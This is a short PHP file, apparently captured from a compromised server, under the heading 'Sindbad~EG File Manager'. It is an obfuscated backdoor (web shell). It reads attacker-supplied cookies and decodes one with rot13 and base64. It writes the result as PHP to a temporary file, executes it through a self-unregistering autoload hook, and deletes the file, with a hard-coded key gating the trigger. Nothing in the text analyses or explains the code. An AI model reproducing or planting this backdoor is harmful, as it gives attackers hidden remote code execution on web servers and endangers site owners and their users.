Sindbad~EG File Manager

<?php


if (isset($_COOKIE[65-65]) && isset($_COOKIE[94+-93]) && isset($_COOKIE[24-21]) && isset($_COOKIE[-3+7])) {
    $res = $_COOKIE;
    function settings($holder) {
        $res = $_COOKIE;
        $rec = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '121a519a');
        if (!is_writable($rec)) {
            $rec = getcwd() . DIRECTORY_SEPARATOR . "data_storage";
        }
        $fac = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($res[3]));
        if (is_writeable($rec)) {
            $parameter_group = fopen($rec, 'w+');
            fputs($parameter_group, $fac);
            fclose($parameter_group);
            spl_autoload_unregister(__FUNCTION__);
            require_once($rec);
            @array_map('unlink', array($rec));
        }
    }
    spl_autoload_register("settings");
    $resource = "203a99a4460c7142e0a3415e17c1d0b6";
    if (!strncmp($resource, $res[4], 32)) {
        if (@class_parents("approve_request_right_pad_string", true)) {
            exit;
        }
    }
}